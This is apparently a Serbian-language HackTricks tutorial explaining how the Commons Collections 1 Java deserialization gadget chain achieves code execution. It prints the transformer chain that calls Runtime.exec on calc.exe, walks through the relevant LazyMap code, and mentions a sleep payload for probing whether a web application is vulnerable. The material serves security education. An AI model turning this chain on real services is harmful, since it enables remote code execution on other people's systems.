Da li radite u cybersecurity kompaniji? Želite li da vidite svoju kompaniju reklamiranu na HackTricks-u? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite SUBSCRIPTION PLANS!
Ako ne znate ništa o java deserializacijskim payloadima, može biti teško shvatiti zašto će ovaj kod izvršiti kalkulator.
Prvo, trebate znati da je Transformer u Javi nešto što prima klasu i transformira je u drugu.
Također je zanimljivo znati da je payload koji se izvršava ovdje ekvivalentan:
Dakle, kako je prvi payload predstavljen ekvivalentan tim "jednostavnim" jednolinijskim naredbama?
Prvo, možete primetiti u payloadu da je lanac (niz) transformacija kreiran:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
Ako pročitate kod, primetićete da ako na neki način povežete transformaciju niza, možete izvršiti proizvoljne komande.
U poslednjem delu payload-a možete videti da je kreiran Map objekat. Zatim se funkcija decorate izvršava iz LazyMap sa map objektom i povezanim transformatorima. Iz sledećeg koda možete videti da će to rezultirati kopiranjem povezanih transformatora unutar atributa lazyMap.factory:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
I onda se izvršava veliko finale: lazyMap.get("bilo šta");
Ovo je kod funkcije get:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
I ovo je kod funkcije transform.
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
Dakle, zapamtite da smo unutar fabrike sačuvali chainedTransformer i unutar funkcije transform prolazimo kroz sve te povezane transformere i izvršavamo ih jedan za drugim. Zanimljivo je da svaki transformer koristi object kao ulaz, a objekat je izlaz iz poslednjeg izvršenog transformera. Stoga, svi transformeri su povezani i izvršavaju zlonamerni payload.
Rezime
Na kraju, zbog načina na koji lazyMap upravlja povezanim transformatorima unutar metode get, to je kao da izvršavamo sledeći kod:
Napomena da je ovde objašnjeno koje su "gadžeti" korišćeni za "ComonsCollections1" payload. Ali nije objašnjeno kako se sve to pokreće. Možete videti ovde da ysoserial, kako bi izvršio ovaj payload, koristi objekat AnnotationInvocationHandler jer kada se ovaj objekat deserijalizuje, pozvaće se funkcija payload.get() koja će izvršiti ceo payload.
Java Thread Sleep
Ovaj payload može biti koristan za identifikaciju da li je veb ranjiv, jer će izvršiti pauzu ako jeste.
Da li radite u cybersecurity kompaniji? Želite li da vidite vašu kompaniju reklamiranu na HackTricks? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite SUBSCRIPTION PLANS!